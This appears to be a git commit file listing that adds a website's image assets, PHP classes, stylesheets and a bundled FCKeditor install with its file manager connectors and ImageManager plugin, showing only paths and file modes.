assets/imagecaptionBg.gif [new file with mode: 0755]
assets/logo.gif [new file with mode: 0755]
assets/logosince.gif [new symlink]
assets/makingNews.gif [new file with mode: 0755]
assets/marketBoxes.png [new file with mode: 0755]
assets/marketsServedBg.gif [new file with mode: 0755]
assets/navBg.gif [new file with mode: 0755]
assets/newsletter/bg-connectivity.jpg [new file with mode: 0644]
assets/newsletter/bg-general.jpg [new file with mode: 0644]
assets/newsletter/bottom.gif [new file with mode: 0644]
assets/pinitbutton.jpg [new file with mode: 0755]
assets/poweredby.gif [new file with mode: 0644]
assets/socialBg.gif [new file with mode: 0644]
assets/subnavBg.gif [new file with mode: 0755]
assets/subnavBg2.gif [new file with mode: 0755]
assets/subsubBg.gif [new file with mode: 0755]
assets/testimonialsBg.gif [new file with mode: 0755]
assets/testimonialsBox.gif [new file with mode: 0755]
assets/testimonialsQuote.gif [new file with mode: 0755]
assets/tmpToolboxImg.gif [new file with mode: 0755]
assets/wrapperInsideBg.gif [new file with mode: 0755]
cameras/images/Camera_3.jpg [new file with mode: 0644]
cameras/images/Camera_3_big.jpg [new file with mode: 0644]
cameras/images/Camera_4.jpg [new file with mode: 0644]
cameras/images/Camera_4_big.jpg [new file with mode: 0644]
cameras/images/Little_Traverse_Bay.jpg [new file with mode: 0644]
cameras/images/Little_Traverse_Bay_big.jpg [new file with mode: 0644]
cameras/images/Memorial_Gardens.jpg [new file with mode: 0644]
cameras/images/Memorial_Gardens_big.jpg [new file with mode: 0644]
cameras/images/Petoskey_Park.jpg [new file with mode: 0644]
cameras/images/Petoskey_Park_big.jpg [new file with mode: 0644]
classes/class_db.inc [new file with mode: 0755]
classes/class_portfolio.inc [new file with mode: 0755]
classes/class_press.inc [new file with mode: 0755]
classes/class_template.inc [new file with mode: 0644]
classes/class_threads.inc [new file with mode: 0644]
classes/class_toolbox.inc [new file with mode: 0755]
config/server.ini [new file with mode: 0644]
contactform.css [new file with mode: 0644]
coupons.css [new file with mode: 0644]
download.php [new file with mode: 0644]
email.css [new file with mode: 0644]
event.css [new file with mode: 0644]
fckeditor/_documentation.html [new file with mode: 0755]
fckeditor/_upgrade.html [new file with mode: 0755]
fckeditor/_whatsnew.html [new file with mode: 0755]
fckeditor/editor/_packager.xml [new file with mode: 0755]
fckeditor/editor/css/behaviors/disablehandles.htc [new file with mode: 0755]
fckeditor/editor/css/behaviors/hiddenfield.gif [new file with mode: 0755]
fckeditor/editor/css/behaviors/hiddenfield.htc [new file with mode: 0755]
fckeditor/editor/css/behaviors/showtableborders.htc [new file with mode: 0755]
fckeditor/editor/css/fck_editorarea.css [new file with mode: 0755]
fckeditor/editor/css/fck_internal.css [new file with mode: 0755]
fckeditor/editor/css/fck_showtableborders_gecko.css [new file with mode: 0755]
fckeditor/editor/css/images/fck_anchor.gif [new file with mode: 0755]
fckeditor/editor/css/images/fck_flashlogo.gif [new file with mode: 0755]
fckeditor/editor/css/images/fck_pagebreak.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/fck_dialog_common.css [new file with mode: 0755]
fckeditor/editor/dialog/common/fck_dialog_common.js [new file with mode: 0755]
fckeditor/editor/dialog/common/fcknumericfield.htc [new file with mode: 0755]
fckeditor/editor/dialog/common/images/locked.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/images/reset.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/images/unlocked.gif [new file with mode: 0755]
fckeditor/editor/dialog/common/moz-bindings.xml [new file with mode: 0755]
fckeditor/editor/dialog/fck_about.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_about/logo_fckeditor.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_about/logo_fredck.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_anchor.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_button.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_checkbox.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_colorselector.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_docprops.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_docprops/fck_document_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_find.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash/fck_flash.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_flash/fck_flash_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_form.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_hiddenfield.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_image.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_image/fck_image.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_image/fck_image_preview.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_link.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_link/fck_link.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_listprop.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_paste.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_radiobutton.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_replace.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_select.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_select/fck_select.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_smiley.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_source.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_specialchar.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/blank.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css [new file with mode: 0755]
fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js [new file with mode: 0755]
fckeditor/editor/dialog/fck_table.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_tablecell.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_template.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template1.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template2.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_template/images/template3.gif [new file with mode: 0755]
fckeditor/editor/dialog/fck_textarea.html [new file with mode: 0755]
fckeditor/editor/dialog/fck_textfield.html [new file with mode: 0755]
fckeditor/editor/fckdebug.html [new file with mode: 0755]
fckeditor/editor/fckdialog.html [new file with mode: 0755]
fckeditor/editor/fckeditor.html [new file with mode: 0755]
fckeditor/editor/fckeditor.original.html [new file with mode: 0755]
fckeditor/editor/fckeditor2.html [new file with mode: 0644]
fckeditor/editor/filemanager/browser/default/browser.css [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/browser.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/basexml.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/lasso/config.lasso [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/lasso/connector.lasso [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/basexml.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/commands.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/connector.cgi [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/io.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/upload_fck.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/perl/util.pl [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/basexml.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/commands.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/config.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/connector.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/io.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/php/util.php [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/py/connector.py [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/connectors/test.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmactualfolder.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmcreatefolder.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmfolders.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmresourceslist.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmresourcetype.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/frmupload.html [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/ButtonArrow.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/Folder.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/Folder32.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderOpened.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderOpened32.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/FolderUp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/ai.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/avi.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/bmp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/cs.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/default.icon.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/dll.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/doc.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/exe.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/fla.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/gif.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/htm.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/html.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/jpg.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/js.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/mdb.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/mp3.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/pdf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/ppt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/rdp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/swf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/swt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/txt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/vsd.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/xls.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/xml.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/32/zip.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/ai.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/avi.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/bmp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/cs.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/default.icon.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/dll.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/doc.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/exe.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/fla.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/gif.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/htm.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/html.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/jpg.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/js.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/mdb.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/mp3.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/pdf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/ppt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/rdp.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/swf.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/swt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/txt.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/vsd.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/xls.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/xml.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/icons/zip.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/images/spacer.gif [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/js/common.js [new file with mode: 0755]
fckeditor/editor/filemanager/browser/default/js/fckxml.js [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/config.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/upload.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/php/util.php [new file with mode: 0755]
fckeditor/editor/filemanager/upload/test.html [new file with mode: 0755]
fckeditor/editor/images/anchor.gif [new file with mode: 0755]
fckeditor/editor/images/arrow_ltr.gif [new file with mode: 0755]
fckeditor/editor/images/arrow_rtl.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/angel_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/angry_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/broken_heart.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/cake.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/confused_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/cry_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/devil_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/embaressed_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/envelope.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/heart.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/kiss.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/lightbulb.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/omg_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/regular_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/sad_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/shades_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/teeth_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/thumbs_down.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/thumbs_up.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/tounge_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/whatchutalkingabout_smile.gif [new file with mode: 0755]
fckeditor/editor/images/smiley/msn/wink_smile.gif [new file with mode: 0755]
fckeditor/editor/images/spacer.gif [new file with mode: 0755]
fckeditor/editor/js/fckeditorcode_gecko.js [new file with mode: 0755]
fckeditor/editor/js/fckeditorcode_ie.js [new file with mode: 0755]
fckeditor/editor/lang/_getfontformat.html [new file with mode: 0755]
fckeditor/editor/lang/_translationstatus.txt [new file with mode: 0755]
fckeditor/editor/lang/en-min.js [new file with mode: 0644]
fckeditor/editor/lang/en.js [new file with mode: 0755]
fckeditor/editor/plugins/ImageManager/20062020_20061221.diff [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/ChangeLog [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/Files.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/GD.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/IM.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/NetPBM.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/Thumbnail.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/Transform.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/api.watermark.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/Classes/package.xml [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/README.txt [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/EditorContent.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/ImageEditor.css [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/blank.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/dialog.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/editor.css [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/editor.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/editorFrame.css [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/editorFrame.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/hover.htc [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/imagelist.css [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/images.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/manager.css [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/manager.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/popup.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/slider.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/assets/wz_jsgraphics.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/config.inc.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/editor.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/editorFrame.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/fckplugin.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/icon.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/images.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/2x2.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/2x2_w.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/backgroundGrid.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/btnFolderNew.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/btnFolderUp.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/btn_cancel.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/btn_ok.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/crop.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/default.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/div.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/dots.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/edit_active.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/edit_pencil.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/edit_trash.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/folder.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/hand.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/islocked2.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/locked.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/measure.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/noimages.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/replace.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/rotate.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/save.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/scale.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/spacer.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/t_black.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/t_white.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/transparentpixel.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/unlocked.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/unlocked2.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/watermark.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/watermark/imageManager.png [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/watermarkAlign.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/img/watermarkColor.gif [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/de.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/en.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/fr.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/nl.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/no.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/pl.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/ru.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/lang/sv.js [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/manager.php [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/newFolder.html [new file with mode: 0644]
fckeditor/editor/plugins/ImageManager/thumbs.php [new file with mode: 0644]
fckeditor/editor/plugins/autogrow/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/fck_placeholder.html [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/de.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/en.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/fr.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/it.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/lang/pl.js [new file with mode: 0755]
fckeditor/editor/plugins/placeholder/placeholder.gif [new file with mode: 0755]
fckeditor/editor/plugins/simplecommands/fckplugin.js [new file with mode: 0755]
fckeditor/editor/plugins/tablecommands/fckplugin.js [new file with mode: 0755]
fckeditor/editor/skins/_fckviewstrips.html [new file with mode: 0755]
fckeditor/editor/skins/default/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/default/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/default/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/default/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/office2003/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.bg.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/office2003/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_dialog.css [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_editor.css [new file with mode: 0755]
fckeditor/editor/skins/silver/fck_strip.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.arrowright.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.collapse.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.end.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.expand.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.separator.gif [new file with mode: 0755]
fckeditor/editor/skins/silver/images/toolbar.start.gif [new file with mode: 0755]
fckeditor/fckconfig-min.js [new file with mode: 0644]
fckeditor/fckconfig.js [new file with mode: 0644]
fckeditor/fckconfig2.js [new file with mode: 0644]
fckeditor/fckeditor-min.js [new file with mode: 0644]
fckeditor/fckeditor.js [new file with mode: 0755]
fckeditor/fckeditor.php [new file with mode: 0755]
fckeditor/fckeditor_php4.php [new file with mode: 0755]
fckeditor/fckeditor_php5-1.php [new file with mode: 0644]
fckeditor/fckeditor_php5.php [new file with mode: 0755]
fckeditor/fckstyles.xml [new file with mode: 0755]
fckeditor/fcktemplates.xml [new file with mode: 0755]
fckeditor/htaccess.txt [new file with mode: 0755]
fckeditor/license.txt [new file with mode: 0755]
images/application_edit.png [new file with mode: 0644]
images/cross.png [new file with mode: 0644]
images/delete.png [new file with mode: 0644]
images/error.gif [new file with mode: 0644]
images/file-ext/avi.gif [new file with mode: 0644]
images/file-ext/cad.gif [new file with mode: 0644]
images/file-ext/doc.gif [new file with mode: 0644]
images/file-ext/download.gif [new file with mode: 0644]
images/file-ext/gif.gif [new file with mode: 0644]
images/file-ext/html.gif [new file with mode: 0644]
images/file-ext/jpg.gif [new file with mode: 0644]
images/file-ext/mov.gif [new file with mode: 0644]
images/file-ext/mp3.gif [new file with mode: 0644]
images/file-ext/pdf.png [new file with mode: 0644]
images/file-ext/ppt.gif [new file with mode: 0644]
images/file-ext/rm.gif [new file with mode: 0644]
images/file-ext/txt.png [new file with mode: 0644]
images/file-ext/wmv.gif [new file with mode: 0644]
images/file-ext/xls.gif [new file with mode: 0644]
images/file-ext/zip.png [new file with mode: 0644]
images/find.png [new file with mode: 0644]
images/flag_green.png [new file with mode: 0644]
images/grnball.gif [new file with mode: 0755]
images/help.gif [new file with mode: 0755]
images/html.gif [new file with mode: 0755]
images/img.gif [new file with mode: 0755]
images/left.gif [new file with mode: 0644]
images/loadingAnimation.gif [new file with mode: 0644]
images/logo.gif [new file with mode: 0755]
images/mobilemgreen.jpg [new file with mode: 0644]
images/mobilemred.jpg [new file with mode: 0644]
images/note_edit.png [new file with mode: 0644]
images/page_edit.png [new file with mode: 0644]
images/redball.gif [new file with mode: 0755]
images/right.gif [new file with mode: 0644]
images/shadowb.gif [new file with mode: 0644]
images/shadowr.gif [new file with mode: 0644]
images/size.sh [new file with mode: 0755]
